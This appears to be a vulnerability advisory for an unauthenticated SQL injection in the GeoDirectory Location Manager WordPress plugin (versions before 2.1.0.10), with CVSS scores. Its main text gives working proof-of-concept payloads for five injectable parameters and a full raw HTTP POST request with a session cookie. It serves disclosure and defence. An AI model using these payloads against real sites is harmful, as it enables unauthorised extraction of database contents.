9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
In the plugin, the AJAX action gd_popular_location_list did not properly sanitise or validate some of its POST parameters, which are then used in a SQL statement, leading to unauthenticated SQL Injection issues. The prerequisite to exploiting this vulnerability is finding a page on the vulnerable site which uses affected functionality. Even if the site uses the affected plugin, it has to include the file /wp-content/plugins/geodir_location_manager/includes/widget-functions.php
which includes that action in the site. That page creates a _nonce
variable which is validated by the script to be a valid one. In the time of writing. I did not find a way to bypass that check.
Exploiting the issue requires valid wpinv_session_*
cookie, so proper _nonce
value is generated. First vulnerable parameter is order_by
which lacks any sanitization against SQL attacks. While it should take value ASC or DESC to indicate sort direction, it is possible to inject any arbitrary value in the query. That can be abused to retrieve data from the database by using boolean-based blind SQL injection technique. Example request parameters that are vulnerable to order_by
parameter SQL injection: action=gd_popular_location_list&_nonce=7fd12c11d7&geodir;_ajax=true&pageno;=2&scatts;={βtitleβ:ββ,βwhatβ:βcityβ,βslugsβ:ββ,βoutput_typeβ:βgridβ,βfallback_imageβ:false,βper_pageβ:4,βpagi_tβ:false,βpagi_bβ:true,βpagi_infoβ:ββ,βno_locβ:false,βshow_currentβ:false,βcountryβ:ββ,βregionβ:ββ,βcityβ:ββ,βcountry_valβ:ββ,βregion_valβ:ββ,βcity_valβ:ββ,βorder_byβ:β,(SELECT+1+FROM+wp_users+WHERE+1%3d0)+ascβ} These should be sent as a POST request to /wp-admin/admin-ajax.php
endpoint. Different response is returned when condition changes from 1=1
to 1=0
which indicates successful SQL injection. Any valid table with more than one entry works in this particular PoC. Obviously valid _nonce
vale also has to be provided here. Another vulnerable parameter is country_non_restricted
Example request parameters: action=gd_popular_location_list&_nonce=7fd12c11d7&geodir;_ajax=true&pageno;=2&scatts;={βtitleβ:ββ,βwhatβ:βcityβ,βslugsβ:ββ,βoutput_typeβ:βgridβ,βfallback_imageβ:false,βper_pageβ:4,βpagi_tβ:false,βpagi_bβ:true,βpagi_infoβ:ββ,βno_locβ:false,βshow_currentβ:false,βcountryβ:ββ,βregionβ:ββ,βcityβ:ββ,βcountry_valβ:ββ,βregion_valβ:ββ,βcity_valβ:ββ,βcountry_non_restrictedβ:βcountry)+AND+1=0β+β} It also leads to boolean-based SQL injection and can be abused as before. Similar parameter to this one is also region_non_restricted
. It has extra prerequisite, that what
parameter has to have value βregionβ in order to include it in query. Example request: action=gd_popular_location_list&_nonce=7fd12c11d7&geodir;_ajax=true&pageno;=2&scatts;={βtitleβ:ββ,βwhatβ:βregionβ,βslugsβ:ββ,βoutput_typeβ:βgridβ,βfallback_imageβ:false,βper_pageβ:4,βpagi_tβ:false,βpagi_bβ:true,βpagi_infoβ:ββ,βno_locβ:false,βshow_currentβ:false,βcountryβ:ββ,βregionβ:ββ,βcityβ:ββ,βcountry_valβ:ββ,βregion_valβ:ββ,βcity_valβ:ββ,βregion_non_restrictedβ:βregion)+AND+1=1β+β} Last one from similar parameters is city_non_restricted
- here βcityβ value needs to be present in what
parameter. Request: action=gd_popular_location_list&_nonce=7fd12c11d7&geodir;_ajax=true&pageno;=2&scatts;={βtitleβ:ββ,βwhatβ:βcityβ,βslugsβ:ββ,βoutput_typeβ:βgridβ,βfallback_imageβ:false,βper_pageβ:4,βpagi_tβ:false,βpagi_bβ:true,βpagi_infoβ:ββ,βno_locβ:false,βshow_currentβ:false,βcountryβ:ββ,βregionβ:ββ,βcityβ:ββ,βcountry_valβ:ββ,βregion_valβ:ββ,βcity_valβ:ββ,βcity_non_restrictedβ:βcity)+AND+1=1β+β} Next vulnerable parameter is what
which is used in GROUP BY
part of query. It also can be used to exfiltrate data using boolean-based injection. For that, easiest way to abuse it seems to induce runtime error on one of the conditions - which can be something like EXP(720)
mentioned here (https://www.exploit-db.com/docs/english/37953-mysql-error-based-sql-injection-using-exp.pdf) action=gd_popular_location_list&_nonce=7fd12c11d7&geodir;_ajax=true&pageno;=2&scatts;={βtitleβ:ββ,βwhatβ:β(SELECT+CASE+WHEN+1%3d1+THEN+1+ELSE+exp(720)+END)β+β,βslugsβ:ββ,βoutput_typeβ:βgridβ,βfallback_imageβ:false,βper_pageβ:4,βpagi_tβ:false,βpagi_bβ:true,βpagi_infoβ:ββ,βno_locβ:false,βshow_currentβ:false,βcountryβ:ββ,βregionβ:ββ,βcityβ:ββ,βcountry_valβ:ββ,βregion_valβ:ββ,βcity_valβ:ββ} POST /wp-admin/admin-ajax.php HTTP/1.1 Host: vulnerable-site.com Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 394 Connection: close Cookie: wpinv_session_4d770309287a90030b86817a1c5cbe3f=a4010a77bb280cacd86afe13b405f6ff%7C%7C1621499174%7C%7C1621495574%7C%7Cdef9b2ee7cb7852ceabfcff7eff6f5a4 Pragma: no-cache Cache-Control: no-cache action=gd_popular_location_list&_nonce=7fd12c11d7&geodir;_ajax=true&pageno;=2&scatts;={βtitleβ:ββ,βwhatβ:β(SELECT+CASE+WHEN+1%3d1+THEN+1+ELSE+exp(720)+END)β+β,βslugsβ:ββ,βoutput_typeβ:βgridβ,βfallback_imageβ:false,βper_pageβ:4,βpagi_tβ:false,βpagi_bβ:true,βpagi_infoβ:ββ,βno_locβ:false,βshow_currentβ:false,βcountryβ:ββ,βregionβ:ββ,βcityβ:ββ,βcountry_valβ:ββ,βregion_valβ:ββ,βcity_valβ:ββ}
CPE | Name | Operator | Version |
---|---|---|---|
geodir_location_manager | lt | 2.1.0.10 |
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P